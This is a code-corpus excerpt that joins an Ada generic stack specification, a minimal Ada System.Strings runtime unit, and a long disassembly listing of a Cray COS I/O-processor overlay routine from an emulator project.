<reponame>LaudateCorpus1/RosettaCodeData<gh_stars>1-10 generic type Element_Type is private; package Generic_Stack is type Stack is private; procedure Push (Item : Element_Type; Onto : in out Stack); procedure Pop (Item : out Element_Type; From : in out Stack); function Create return Stack; Stack_Empty_Error : exception; private type Node; type Stack is access Node; type Node is record Element : Element_Type; Next : Stack := null; end record; end Generic_Stack;
source/required/s-string.ads
ytomino/drake
33
26418
pragma License (Unrestricted); -- implementation unit required by compiler package System.Strings is pragma Pure; end System.Strings;
target/cos_117/disasm/iop_overlay1/COMM05.asm
jrrk2/cray-sim
49
6427
<filename>target/cos_117/disasm/iop_overlay1/COMM05.asm 0x0000 (0x000000) 0x211C- f:00020 d: 284 | A = OR[284] 0x0001 (0x000002) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001) 0x0002 (0x000004) 0x2922- f:00024 d: 290 | OR[290] = A 0x0003 (0x000006) 0x102C- f:00010 d: 44 | A = 44 (0x002C) 0x0004 (0x000008) 0x2913- f:00024 d: 275 | OR[275] = A 0x0005 (0x00000A) 0x2113- f:00020 d: 275 | A = OR[275] 0x0006 (0x00000C) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF) 0x0007 (0x00000E) 0x290D- f:00024 d: 269 | OR[269] = A 0x0008 (0x000010) 0x2122- f:00020 d: 290 | A = OR[290] 0x0009 (0x000012) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001) 0x000A (0x000014) 0x2519- f:00022 d: 281 | A = A + OR[281] 0x000B (0x000016) 0x290E- f:00024 d: 270 | OR[270] = A 0x000C (0x000018) 0x2122- f:00020 d: 290 | A = OR[290] 0x000D (0x00001A) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001) 0x000E (0x00001C) 0x2908- f:00024 d: 264 | OR[264] = A 0x000F (0x00001E) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0010 (0x000020) 0x2708- f:00023 d: 264 | A = A - OR[264] 0x0011 (0x000022) 0x8607- f:00103 d: 7 | P = P + 7 (0x0018), A # 0 0x0012 (0x000024) 0x310E- f:00030 d: 270 | A = (OR[270]) 0x0013 (0x000026) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009) 0x0014 (0x000028) 0x250D- f:00022 d: 269 | A = A + OR[269] 0x0015 (0x00002A) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009) 0x0016 (0x00002C) 0x390E- f:00034 d: 270 | (OR[270]) = A 0x0017 (0x00002E) 0x7006- f:00070 d: 6 | P = P + 6 (0x001D) 0x0018 (0x000030) 0x310E- f:00030 d: 270 | A = (OR[270]) 0x0019 (0x000032) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00) 0x001B (0x000036) 0x250D- f:00022 d: 269 | A = A + OR[269] 0x001C (0x000038) 0x390E- f:00034 d: 270 | (OR[270]) = A 0x001D (0x00003A) 0x2104- f:00020 d: 260 | A = OR[260] 0x001E (0x00003C) 0x290D- f:00024 d: 269 | OR[269] = A 0x001F (0x00003E) 0x2104- f:00020 d: 260 | A = OR[260] 0x0020 (0x000040) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003) 0x0021 (0x000042) 0x1A00-0xFFFC f:00015 d: 0 | A = A & 65532 (0xFFFC) 0x0023 (0x000046) 0x2904- f:00024 d: 260 | OR[260] = A 0x0024 (0x000048) 0x2104- f:00020 d: 260 | A = OR[260] 0x0025 (0x00004A) 0x291E- f:00024 d: 286 | OR[286] = A 0x0026 (0x00004C) 0x1014- f:00010 d: 20 | A = 20 (0x0014) 0x0027 (0x00004E) 0x2B04- f:00025 d: 260 | OR[260] = A + OR[260] 0x0028 (0x000050) 0x2104- f:00020 d: 260 | A = OR[260] 0x0029 (0x000052) 0x2705- f:00023 d: 261 | A = A - OR[261] 0x002A (0x000054) 0xB234- f:00131 d: 52 | R = OR[52], C = 1 0x002B (0x000056) 0x000B- f:00000 d: 11 | PASS | **** non-standard encoding with D:0x000B **** 0x002C (0x000058) 0x210D- f:00020 d: 269 | A = OR[269] 0x002D (0x00005A) 0x3904- f:00034 d: 260 | (OR[260]) = A 0x002E (0x00005C) 0x2D04- f:00026 d: 260 | OR[260] = OR[260] + 1 0x002F (0x00005E) 0x211E- f:00020 d: 286 | A = OR[286] 0x0030 (0x000060) 0x2925- f:00024 d: 293 | OR[293] = A 0x0031 (0x000062) 0x211D- f:00020 d: 285 | A = OR[285] 0x0032 (0x000064) 0x251C- f:00022 d: 284 | A = A + OR[284] 0x0033 (0x000066) 0x2913- f:00024 d: 275 | OR[275] = A 0x0034 (0x000068) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x0035 (0x00006A) 0x2926- f:00024 d: 294 | OR[294] = A 0x0036 (0x00006C) 0x1800-0x012A f:00014 d: 0 | A = 298 (0x012A) 0x0038 (0x000070) 0x2927- f:00024 d: 295 | OR[295] = A 0x0039 (0x000072) 0x2119- f:00020 d: 281 | A = OR[281] 0x003A (0x000074) 0x2928- f:00024 d: 296 | OR[296] = A 0x003B (0x000076) 0x211A- f:00020 d: 282 | A = OR[282] 0x003C (0x000078) 0x2929- f:00024 d: 297 | OR[297] = A 0x003D (0x00007A) 0x2113- f:00020 d: 275 | A = OR[275] 0x003E (0x00007C) 0x292A- f:00024 d: 298 | OR[298] = A 0x003F (0x00007E) 0x1800-0x0264 f:00014 d: 0 | A = 612 (0x0264) 0x0041 (0x000082) 0x292B- f:00024 d: 299 | OR[299] = A 0x0042 (0x000084) 0x211E- f:00020 d: 286 | A = OR[286] 0x0043 (0x000086) 0x292C- f:00024 d: 300 | OR[300] = A 0x0044 (0x000088) 0x1015- f:00010 d: 21 | A = 21 (0x0015) 0x0045 (0x00008A) 0x292D- f:00024 d: 301 | OR[301] = A 0x0046 (0x00008C) 0x1015- f:00010 d: 21 | A = 21 (0x0015) 0x0047 (0x00008E) 0x292E- f:00024 d: 302 | OR[302] = A 0x0048 (0x000090) 0x1126- f:00010 d: 294 | A = 294 (0x0126) 0x0049 (0x000092) 0x5800- f:00054 d: 0 | B = A 0x004A (0x000094) 0x1800-0x1D18 f:00014 d: 0 | A = 7448 (0x1D18) 0x004C (0x000098) 0x7C09- f:00076 d: 9 | R = OR[9] 0x004D (0x00009A) 0x2921- f:00024 d: 289 | OR[289] = A 0x004E (0x00009C) 0x103D- f:00010 d: 61 | A = 61 (0x003D) 0x004F (0x00009E) 0x2913- f:00024 d: 275 | OR[275] = A 0x0050 (0x0000A0) 0x2113- f:00020 d: 275 | A = OR[275] 0x0051 (0x0000A2) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF) 0x0052 (0x0000A4) 0x290D- f:00024 d: 269 | OR[269] = A 0x0053 (0x0000A6) 0x2122- f:00020 d: 290 | A = OR[290] 0x0054 (0x0000A8) 0x0801- f:00004 d: 1 | A = A > 1 (0x0001) 0x0055 (0x0000AA) 0x2519- f:00022 d: 281 | A = A + OR[281] 0x0056 (0x0000AC) 0x290E- f:00024 d: 270 | OR[270] = A 0x0057 (0x0000AE) 0x2122- f:00020 d: 290 | A = OR[290] 0x0058 (0x0000B0) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001) 0x0059 (0x0000B2) 0x2908- f:00024 d: 264 | OR[264] = A 0x005A (0x0000B4) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x005B (0x0000B6) 0x2708- f:00023 d: 264 | A = A - OR[264] 0x005C (0x0000B8) 0x8607- f:00103 d: 7 | P = P + 7 (0x0063), A # 0 0x005D (0x0000BA) 0x310E- f:00030 d: 270 | A = (OR[270]) 0x005E (0x0000BC) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009) 0x005F (0x0000BE) 0x250D- f:00022 d: 269 | A = A + OR[269] 0x0060 (0x0000C0) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009) 0x0061 (0x0000C2) 0x390E- f:00034 d: 270 | (OR[270]) = A 0x0062 (0x0000C4) 0x7006- f:00070 d: 6 | P = P + 6 (0x0068) 0x0063 (0x0000C6) 0x310E- f:00030 d: 270 | A = (OR[270]) 0x0064 (0x0000C8) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00) 0x0066 (0x0000CC) 0x250D- f:00022 d: 269 | A = A + OR[269] 0x0067 (0x0000CE) 0x390E- f:00034 d: 270 | (OR[270]) = A 0x0068 (0x0000D0) 0x2121- f:00020 d: 289 | A = OR[289] 0x0069 (0x0000D2) 0xAE03-0x0309 f:00127 d: 3 | P = OR[3]+777 (0x0309), A # 0 0x006B (0x0000D6) 0x2104- f:00020 d: 260 | A = OR[260] 0x006C (0x0000D8) 0x290D- f:00024 d: 269 | OR[269] = A 0x006D (0x0000DA) 0x2104- f:00020 d: 260 | A = OR[260] 0x006E (0x0000DC) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003) 0x006F (0x0000DE) 0x1A00-0xFFFC f:00015 d: 0 | A = A & 65532 (0xFFFC) 0x0071 (0x0000E2) 0x2904- f:00024 d: 260 | OR[260] = A 0x0072 (0x0000E4) 0x2104- f:00020 d: 260 | A = OR[260] 0x0073 (0x0000E6) 0x291F- f:00024 d: 287 | OR[287] = A 0x0074 (0x0000E8) 0x102C- f:00010 d: 44 | A = 44 (0x002C) 0x0075 (0x0000EA) 0x2B04- f:00025 d: 260 | OR[260] = A + OR[260] 0x0076 (0x0000EC) 0x2104- f:00020 d: 260 | A = OR[260] 0x0077 (0x0000EE) 0x2705- f:00023 d: 261 | A = A - OR[261] 0x0078 (0x0000F0) 0xB234- f:00131 d: 52 | R = OR[52], C = 1 0x0079 (0x0000F2) 0x000B- f:00000 d: 11 | PASS | **** non-standard encoding with D:0x000B **** 0x007A (0x0000F4) 0x210D- f:00020 d: 269 | A = OR[269] 0x007B (0x0000F6) 0x3904- f:00034 d: 260 | (OR[260]) = A 0x007C (0x0000F8) 0x2D04- f:00026 d: 260 | OR[260] = OR[260] + 1 0x007D (0x0000FA) 0x211F- f:00020 d: 287 | A = OR[287] 0x007E (0x0000FC) 0x290E- f:00024 d: 270 | OR[270] = A 0x007F (0x0000FE) 0x102C- f:00010 d: 44 | A = 44 (0x002C) 0x0080 (0x000100) 0x290D- f:00024 d: 269 | OR[269] = A 0x0081 (0x000102) 0x210D- f:00020 d: 269 | A = OR[269] 0x0082 (0x000104) 0x8406- f:00102 d: 6 | P = P + 6 (0x0088), A = 0 0x0083 (0x000106) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0084 (0x000108) 0x390E- f:00034 d: 270 | (OR[270]) = A 0x0085 (0x00010A) 0x2F0D- f:00027 d: 269 | OR[269] = OR[269] - 1 0x0086 (0x00010C) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1 0x0087 (0x00010E) 0x7206- f:00071 d: 6 | P = P - 6 (0x0081) 0x0088 (0x000110) 0x311E- f:00030 d: 286 | A = (OR[286]) 0x0089 (0x000112) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008) 0x008A (0x000114) 0x2913- f:00024 d: 275 | OR[275] = A 0x008B (0x000116) 0x211E- f:00020 d: 286 | A = OR[286] 0x008C (0x000118) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001) 0x008D (0x00011A) 0x2908- f:00024 d: 264 | OR[264] = A 0x008E (0x00011C) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x008F (0x00011E) 0x2914- f:00024 d: 276 | OR[276] = A 0x0090 (0x000120) 0x211E- f:00020 d: 286 | A = OR[286] 0x0091 (0x000122) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002) 0x0092 (0x000124) 0x2908- f:00024 d: 264 | OR[264] = A 0x0093 (0x000126) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0094 (0x000128) 0x2915- f:00024 d: 277 | OR[277] = A 0x0095 (0x00012A) 0x211E- f:00020 d: 286 | A = OR[286] 0x0096 (0x00012C) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003) 0x0097 (0x00012E) 0x2908- f:00024 d: 264 | OR[264] = A 0x0098 (0x000130) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0099 (0x000132) 0x2916- f:00024 d: 278 | OR[278] = A 0x009A (0x000134) 0x211E- f:00020 d: 286 | A = OR[286] 0x009B (0x000136) 0x1404- f:00012 d: 4 | A = A + 4 (0x0004) 0x009C (0x000138) 0x2908- f:00024 d: 264 | OR[264] = A 0x009D (0x00013A) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x009E (0x00013C) 0x2917- f:00024 d: 279 | OR[279] = A 0x009F (0x00013E) 0x2113- f:00020 d: 275 | A = OR[275] 0x00A0 (0x000140) 0x1605- f:00013 d: 5 | A = A - 5 (0x0005) 0x00A1 (0x000142) 0x8402- f:00102 d: 2 | P = P + 2 (0x00A3), A = 0 0x00A2 (0x000144) 0x7039- f:00070 d: 57 | P = P + 57 (0x00DB) 0x00A3 (0x000146) 0x211F- f:00020 d: 287 | A = OR[287] 0x00A4 (0x000148) 0x140E- f:00012 d: 14 | A = A + 14 (0x000E) 0x00A5 (0x00014A) 0x2908- f:00024 d: 264 | OR[264] = A 0x00A6 (0x00014C) 0x2114- f:00020 d: 276 | A = OR[276] 0x00A7 (0x00014E) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x00A8 (0x000150) 0x211F- f:00020 d: 287 | A = OR[287] 0x00A9 (0x000152) 0x140F- f:00012 d: 15 | A = A + 15 (0x000F) 0x00AA (0x000154) 0x2908- f:00024 d: 264 | OR[264] = A 0x00AB (0x000156) 0x2115- f:00020 d: 277 | A = OR[277] 0x00AC (0x000158) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x00AD (0x00015A) 0x2114- f:00020 d: 276 | A = OR[276] 0x00AE (0x00015C) 0x1E00-0x4141 f:00017 d: 0 | A = A - 16705 (0x4141) 0x00B0 (0x000160) 0x8406- f:00102 d: 6 | P = P + 6 (0x00B6), A = 0 0x00B1 (0x000162) 0x2114- f:00020 d: 276 | A = OR[276] 0x00B2 (0x000164) 0x1E00-0x4242 f:00017 d: 0 | A = A - 16962 (0x4242) 0x00B4 (0x000168) 0x8402- f:00102 d: 2 | P = P + 2 (0x00B6), A = 0 0x00B5 (0x00016A) 0x700E- f:00070 d: 14 | P = P + 14 (0x00C3) 0x00B6 (0x00016C) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x00B7 (0x00016E) 0x1603- f:00013 d: 3 | A = A - 3 (0x0003) 0x00B8 (0x000170) 0x8405- f:00102 d: 5 | P = P + 5 (0x00BD), A = 0 0x00B9 (0x000172) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x00BA (0x000174) 0x1604- f:00013 d: 4 | A = A - 4 (0x0004) 0x00BB (0x000176) 0x8402- f:00102 d: 2 | P = P + 2 (0x00BD), A = 0 0x00BC (0x000178) 0x7004- f:00070 d: 4 | P = P + 4 (0x00C0) 0x00BD (0x00017A) 0x1020- f:00010 d: 32 | A = 32 (0x0020) 0x00BE (0x00017C) 0x2920- f:00024 d: 288 | OR[288] = A 0x00BF (0x00017E) 0x7003- f:00070 d: 3 | P = P + 3 (0x00C2) 0x00C0 (0x000180) 0x1018- f:00010 d: 24 | A = 24 (0x0018) 0x00C1 (0x000182) 0x2920- f:00024 d: 288 | OR[288] = A 0x00C2 (0x000184) 0x7013- f:00070 d: 19 | P = P + 19 (0x00D5) 0x00C3 (0x000186) 0x2114- f:00020 d: 276 | A = OR[276] 0x00C4 (0x000188) 0x1E00-0x5050 f:00017 d: 0 | A = A - 20560 (0x5050) 0x00C6 (0x00018C) 0x8402- f:00102 d: 2 | P = P + 2 (0x00C8), A = 0 0x00C7 (0x00018E) 0x7004- f:00070 d: 4 | P = P + 4 (0x00CB) 0x00C8 (0x000190) 0x1018- f:00010 d: 24 | A = 24 (0x0018) 0x00C9 (0x000192) 0x2920- f:00024 d: 288 | OR[288] = A 0x00CA (0x000194) 0x700B- f:00070 d: 11 | P = P + 11 (0x00D5) 0x00CB (0x000196) 0x2114- f:00020 d: 276 | A = OR[276] 0x00CC (0x000198) 0x1E00-0x564C f:00017 d: 0 | A = A - 22092 (0x564C) 0x00CE (0x00019C) 0x8402- f:00102 d: 2 | P = P + 2 (0x00D0), A = 0 0x00CF (0x00019E) 0x7004- f:00070 d: 4 | P = P + 4 (0x00D3) 0x00D0 (0x0001A0) 0x1007- f:00010 d: 7 | A = 7 (0x0007) 0x00D1 (0x0001A2) 0x2920- f:00024 d: 288 | OR[288] = A 0x00D2 (0x0001A4) 0x7003- f:00070 d: 3 | P = P + 3 (0x00D5) 0x00D3 (0x0001A6) 0x1040- f:00010 d: 64 | A = 64 (0x0040) 0x00D4 (0x0001A8) 0x2920- f:00024 d: 288 | OR[288] = A 0x00D5 (0x0001AA) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x00D6 (0x0001AC) 0x2916- f:00024 d: 278 | OR[278] = A 0x00D7 (0x0001AE) 0x1800-0x4352 f:00014 d: 0 | A = 17234 (0x4352) 0x00D9 (0x0001B2) 0x2917- f:00024 d: 279 | OR[279] = A 0x00DA (0x0001B4) 0x703A- f:00070 d: 58 | P = P + 58 (0x0114) 0x00DB (0x0001B6) 0x2113- f:00020 d: 275 | A = OR[275] 0x00DC (0x0001B8) 0x1609- f:00013 d: 9 | A = A - 9 (0x0009) 0x00DD (0x0001BA) 0x8402- f:00102 d: 2 | P = P + 2 (0x00DF), A = 0 0x00DE (0x0001BC) 0x700A- f:00070 d: 10 | P = P + 10 (0x00E8) 0x00DF (0x0001BE) 0x2116- f:00020 d: 278 | A = OR[278] 0x00E0 (0x0001C0) 0x2914- f:00024 d: 276 | OR[276] = A 0x00E1 (0x0001C2) 0x2117- f:00020 d: 279 | A = OR[279] 0x00E2 (0x0001C4) 0x2915- f:00024 d: 277 | OR[277] = A 0x00E3 (0x0001C6) 0x1040- f:00010 d: 64 | A = 64 (0x0040) 0x00E4 (0x0001C8) 0x2920- f:00024 d: 288 | OR[288] = A 0x00E5 (0x0001CA) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x00E6 (0x0001CC) 0x2916- f:00024 d: 278 | OR[278] = A 0x00E7 (0x0001CE) 0x701A- f:00070 d: 26 | P = P + 26 (0x0101) 0x00E8 (0x0001D0) 0x2113- f:00020 d: 275 | A = OR[275] 0x00E9 (0x0001D2) 0x1606- f:00013 d: 6 | A = A - 6 (0x0006) 0x00EA (0x0001D4) 0x8402- f:00102 d: 2 | P = P + 2 (0x00EC), A = 0 0x00EB (0x0001D6) 0x7016- f:00070 d: 22 | P = P + 22 (0x0101) 0x00EC (0x0001D8) 0x1010- f:00010 d: 16 | A = 16 (0x0010) 0x00ED (0x0001DA) 0x2920- f:00024 d: 288 | OR[288] = A 0x00EE (0x0001DC) 0x2115- f:00020 d: 277 | A = OR[277] 0x00EF (0x0001DE) 0x1203- f:00011 d: 3 | A = A & 3 (0x0003) 0x00F0 (0x0001E0) 0x0A04- f:00005 d: 4 | A = A < 4 (0x0004) 0x00F1 (0x0001E2) 0x2916- f:00024 d: 278 | OR[278] = A 0x00F2 (0x0001E4) 0x1010- f:00010 d: 16 | A = 16 (0x0010) 0x00F3 (0x0001E6) 0x1602- f:00013 d: 2 | A = A - 2 (0x0002) 0x00F4 (0x0001E8) 0x5800- f:00054 d: 0 | B = A 0x00F5 (0x0001EA) 0x2114- f:00020 d: 276 | A = OR[276] 0x00F6 (0x0001EC) 0x4A00- f:00045 d: 0 | A = A < B 0x00F7 (0x0001EE) 0x290D- f:00024 d: 269 | OR[269] = A 0x00F8 (0x0001F0) 0x1002- f:00010 d: 2 | A = 2 (0x0002) 0x00F9 (0x0001F2) 0x5800- f:00054 d: 0 | B = A 0x00FA (0x0001F4) 0x2114- f:00020 d: 276 | A = OR[276] 0x00FB (0x0001F6) 0x4800- f:00044 d: 0 | A = A > B 0x00FC (0x0001F8) 0x2914- f:00024 d: 276 | OR[276] = A 0x00FD (0x0001FA) 0x2115- f:00020 d: 277 | A = OR[277] 0x00FE (0x0001FC) 0x4800- f:00044 d: 0 | A = A > B 0x00FF (0x0001FE) 0x250D- f:00022 d: 269 | A = A + OR[269] 0x0100 (0x000200) 0x2915- f:00024 d: 277 | OR[277] = A 0x0101 (0x000202) 0x2114- f:00020 d: 276 | A = OR[276] 0x0102 (0x000204) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF) 0x0103 (0x000206) 0x2914- f:00024 d: 276 | OR[276] = A 0x0104 (0x000208) 0x211F- f:00020 d: 287 | A = OR[287] 0x0105 (0x00020A) 0x1412- f:00012 d: 18 | A = A + 18 (0x0012) 0x0106 (0x00020C) 0x2908- f:00024 d: 264 | OR[264] = A 0x0107 (0x00020E) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0108 (0x000210) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00) 0x010A (0x000214) 0x2514- f:00022 d: 276 | A = A + OR[276] 0x010B (0x000216) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x010C (0x000218) 0x211F- f:00020 d: 287 | A = OR[287] 0x010D (0x00021A) 0x1413- f:00012 d: 19 | A = A + 19 (0x0013) 0x010E (0x00021C) 0x2908- f:00024 d: 264 | OR[264] = A 0x010F (0x00021E) 0x2115- f:00020 d: 277 | A = OR[277] 0x0110 (0x000220) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x0111 (0x000222) 0x1800-0x434D f:00014 d: 0 | A = 17229 (0x434D) 0x0113 (0x000226) 0x2917- f:00024 d: 279 | OR[279] = A 0x0114 (0x000228) 0x2120- f:00020 d: 288 | A = OR[288] 0x0115 (0x00022A) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF) 0x0116 (0x00022C) 0x2920- f:00024 d: 288 | OR[288] = A 0x0117 (0x00022E) 0x211F- f:00020 d: 287 | A = OR[287] 0x0118 (0x000230) 0x141B- f:00012 d: 27 | A = A + 27 (0x001B) 0x0119 (0x000232) 0x2908- f:00024 d: 264 | OR[264] = A 0x011A (0x000234) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x011B (0x000236) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00) 0x011D (0x00023A) 0x2520- f:00022 d: 288 | A = A + OR[288] 0x011E (0x00023C) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x011F (0x00023E) 0x2116- f:00020 d: 278 | A = OR[278] 0x0120 (0x000240) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF) 0x0121 (0x000242) 0x2916- f:00024 d: 278 | OR[278] = A 0x0122 (0x000244) 0x211F- f:00020 d: 287 | A = OR[287] 0x0123 (0x000246) 0x1412- f:00012 d: 18 | A = A + 18 (0x0012) 0x0124 (0x000248) 0x2908- f:00024 d: 264 | OR[264] = A 0x0125 (0x00024A) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0126 (0x00024C) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009) 0x0127 (0x00024E) 0x2516- f:00022 d: 278 | A = A + OR[278] 0x0128 (0x000250) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009) 0x0129 (0x000252) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x012A (0x000254) 0x211F- f:00020 d: 287 | A = OR[287] 0x012B (0x000256) 0x1404- f:00012 d: 4 | A = A + 4 (0x0004) 0x012C (0x000258) 0x2908- f:00024 d: 264 | OR[264] = A 0x012D (0x00025A) 0x2117- f:00020 d: 279 | A = OR[279] 0x012E (0x00025C) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x012F (0x00025E) 0x7E03-0x02FF f:00077 d: 3 | R = OR[3]+767 (0x02FF) 0x0131 (0x000262) 0x211E- f:00020 d: 286 | A = OR[286] 0x0132 (0x000264) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001) 0x0133 (0x000266) 0x2908- f:00024 d: 264 | OR[264] = A 0x0134 (0x000268) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0135 (0x00026A) 0x2914- f:00024 d: 276 | OR[276] = A 0x0136 (0x00026C) 0x211E- f:00020 d: 286 | A = OR[286] 0x0137 (0x00026E) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002) 0x0138 (0x000270) 0x2908- f:00024 d: 264 | OR[264] = A 0x0139 (0x000272) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x013A (0x000274) 0x2915- f:00024 d: 277 | OR[277] = A 0x013B (0x000276) 0x211E- f:00020 d: 286 | A = OR[286] 0x013C (0x000278) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003) 0x013D (0x00027A) 0x2908- f:00024 d: 264 | OR[264] = A 0x013E (0x00027C) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x013F (0x00027E) 0x2916- f:00024 d: 278 | OR[278] = A 0x0140 (0x000280) 0x211E- f:00020 d: 286 | A = OR[286] 0x0141 (0x000282) 0x1404- f:00012 d: 4 | A = A + 4 (0x0004) 0x0142 (0x000284) 0x2908- f:00024 d: 264 | OR[264] = A 0x0143 (0x000286) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0144 (0x000288) 0x2917- f:00024 d: 279 | OR[279] = A 0x0145 (0x00028A) 0x2113- f:00020 d: 275 | A = OR[275] 0x0146 (0x00028C) 0x1608- f:00013 d: 8 | A = A - 8 (0x0008) 0x0147 (0x00028E) 0x8402- f:00102 d: 2 | P = P + 2 (0x0149), A = 0 0x0148 (0x000290) 0x704F- f:00070 d: 79 | P = P + 79 (0x0197) 0x0149 (0x000292) 0x2120- f:00020 d: 288 | A = OR[288] 0x014A (0x000294) 0x1618- f:00013 d: 24 | A = A - 24 (0x0018) 0x014B (0x000296) 0x8402- f:00102 d: 2 | P = P + 2 (0x014D), A = 0 0x014C (0x000298) 0x701F- f:00070 d: 31 | P = P + 31 (0x016B) 0x014D (0x00029A) 0x2115- f:00020 d: 277 | A = OR[277] 0x014E (0x00029C) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF) 0x014F (0x00029E) 0x2908- f:00024 d: 264 | OR[264] = A 0x0150 (0x0002A0) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0151 (0x0002A2) 0x2708- f:00023 d: 264 | A = A - OR[264] 0x0152 (0x0002A4) 0xAE03-0x02DB f:00127 d: 3 | P = OR[3]+731 (0x02DB), A # 0 0x0154 (0x0002A8) 0x2114- f:00020 d: 276 | A = OR[276] 0x0155 (0x0002AA) 0x2916- f:00024 d: 278 | OR[278] = A 0x0156 (0x0002AC) 0x2115- f:00020 d: 277 | A = OR[277] 0x0157 (0x0002AE) 0x2917- f:00024 d: 279 | OR[279] = A 0x0158 (0x0002B0) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0159 (0x0002B2) 0x2914- f:00024 d: 276 | OR[276] = A 0x015A (0x0002B4) 0x2915- f:00024 d: 277 | OR[277] = A 0x015B (0x0002B6) 0x1010- f:00010 d: 16 | A = 16 (0x0010) 0x015C (0x0002B8) 0x1608- f:00013 d: 8 | A = A - 8 (0x0008) 0x015D (0x0002BA) 0x5800- f:00054 d: 0 | B = A 0x015E (0x0002BC) 0x2116- f:00020 d: 278 | A = OR[278] 0x015F (0x0002BE) 0x4A00- f:00045 d: 0 | A = A < B 0x0160 (0x0002C0) 0x290D- f:00024 d: 269 | OR[269] = A 0x0161 (0x0002C2) 0x1008- f:00010 d: 8 | A = 8 (0x0008) 0x0162 (0x0002C4) 0x5800- f:00054 d: 0 | B = A 0x0163 (0x0002C6) 0x2116- f:00020 d: 278 | A = OR[278] 0x0164 (0x0002C8) 0x4800- f:00044 d: 0 | A = A > B 0x0165 (0x0002CA) 0x2916- f:00024 d: 278 | OR[278] = A 0x0166 (0x0002CC) 0x2117- f:00020 d: 279 | A = OR[279] 0x0167 (0x0002CE) 0x4800- f:00044 d: 0 | A = A > B 0x0168 (0x0002D0) 0x250D- f:00022 d: 269 | A = A + OR[269] 0x0169 (0x0002D2) 0x2917- f:00024 d: 279 | OR[279] = A 0x016A (0x0002D4) 0x702C- f:00070 d: 44 | P = P + 44 (0x0196) 0x016B (0x0002D6) 0x2120- f:00020 d: 288 | A = OR[288] 0x016C (0x0002D8) 0x1620- f:00013 d: 32 | A = A - 32 (0x0020) 0x016D (0x0002DA) 0x8402- f:00102 d: 2 | P = P + 2 (0x016F), A = 0 0x016E (0x0002DC) 0x700C- f:00070 d: 12 | P = P + 12 (0x017A) 0x016F (0x0002DE) 0x2116- f:00020 d: 278 | A = OR[278] 0x0170 (0x0002E0) 0xAE03-0x02DB f:00127 d: 3 | P = OR[3]+731 (0x02DB), A # 0 0x0172 (0x0002E4) 0x2114- f:00020 d: 276 | A = OR[276] 0x0173 (0x0002E6) 0x2916- f:00024 d: 278 | OR[278] = A 0x0174 (0x0002E8) 0x2115- f:00020 d: 277 | A = OR[277] 0x0175 (0x0002EA) 0x2917- f:00024 d: 279 | OR[279] = A 0x0176 (0x0002EC) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0177 (0x0002EE) 0x2914- f:00024 d: 276 | OR[276] = A 0x0178 (0x0002F0) 0x2915- f:00024 d: 277 | OR[277] = A 0x0179 (0x0002F2) 0x701D- f:00070 d: 29 | P = P + 29 (0x0196) 0x017A (0x0002F4) 0x2120- f:00020 d: 288 | A = OR[288] 0x017B (0x0002F6) 0x1610- f:00013 d: 16 | A = A - 16 (0x0010) 0x017C (0x0002F8) 0x8402- f:00102 d: 2 | P = P + 2 (0x017E), A = 0 0x017D (0x0002FA) 0x7009- f:00070 d: 9 | P = P + 9 (0x0186) 0x017E (0x0002FC) 0x2115- f:00020 d: 277 | A = OR[277] 0x017F (0x0002FE) 0xAE03-0x02DB f:00127 d: 3 | P = OR[3]+731 (0x02DB), A # 0 0x0181 (0x000302) 0x2114- f:00020 d: 276 | A = OR[276] 